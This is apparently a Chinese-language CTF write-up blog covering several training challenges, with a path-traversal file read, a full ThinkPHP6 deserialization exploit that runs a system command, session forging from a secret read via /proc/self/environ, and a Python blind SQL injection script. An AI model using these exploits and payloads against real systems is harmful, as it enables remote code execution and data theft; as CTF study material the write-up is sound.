审计源码发现listdata这个变量可控,userindex.php里面可以传入img_file跟flag路径就可以读取了

1
index.php?r=User/Index&img_file=/../flag.php

[安洵杯 2019]iamthinking

www.zip下载源码

thinkphp6反序列化

最后一步要用parse_url的漏洞加//就行

poc工具https://github.com/wh1t3p1g/phpggc

利用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
think\Model --> __destruct()

think\Model --> save()

think\Model --> updateData()

think\Model --> checkAllowFields()

think\Model --> db()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()

think\model\concern\Conversion --> __toJson()

think\model\concern\Conversion --> __toArray()

think\model\concern\Attribute --> getAttr()

think\model\concern\Attribute --> getValue()

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
<?php

namespace think\model\concern {

    trait Conversion

    {   

    }

    trait Attribute

    {

        private $data;

        private $withAttr = ["xxx" => "system"];

        public function get()

        {

            $this->data = ["xxx" => "cat /flag"];

        }

    }

}

namespace think{

    abstract class Model{

    use model\concern\Attribute;

    use model\concern\Conversion;

    private $lazySave;

    protected $withEvent;

    private $exists;

    private $force;

    protected $field;

    protected $schema;

    protected $table;

    function __construct(){

        $this->lazySave = true;

        $this->withEvent = false;

        $this->exists = true;

        $this->force = true;

        $this->field = [];

        $this->schema = [];

        $this->table = true;

    }

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

    function __construct($obj='')

    {

        //定义this->data不为空

        parent::__construct();

        $this->get();

        $this->table = $obj;

    }

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(serialize($b));

}

[PASECA2019]honey_shop

图片有任意文件读取

读取proc/self/enviorn

image-20250508132341354

读到secretkey伪造session

1
F5SmhLBQtsPYGpBRZxe56E0Nwk7LJ369gSI2Kl4h

image-20250508132836287

[Black Watch 入群题]Web

盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
 
flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1'    #库名为news
 
#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents
 
#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1'   #admin表里有id,username,password,is_enable
                                                                                                                                              # contents表里有id,title,content,is_enable
 
#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1'    #分别查username和password
 
 
 
for i in range(1,100):
    low =28
    high =137
    mid = (low + high) // 2
 
    while(low < high):
        url = 'http://f695d102-a73b-4b8a-a546-b63ea583f09f.node5.buuoj.cn:81/backend/content_detail.php?id='
        payload = payload4.format(i,mid)
        url+=payload
        print(url)
        r = requests.get(url)
        text = str(r.json())
 
        if "札师傅缺个女朋友" in text:
            low = mid + 1
        else:
            high = mid
 
        mid = (low + high) // 2
 
    if(chr(mid)==''):
        break
    flag +=chr(mid)
    print(flag)
 
print(flag)

[GoogleCTF2019 Quals]Bnv

使用 Hugo 构建
主题 StackJimmy 设计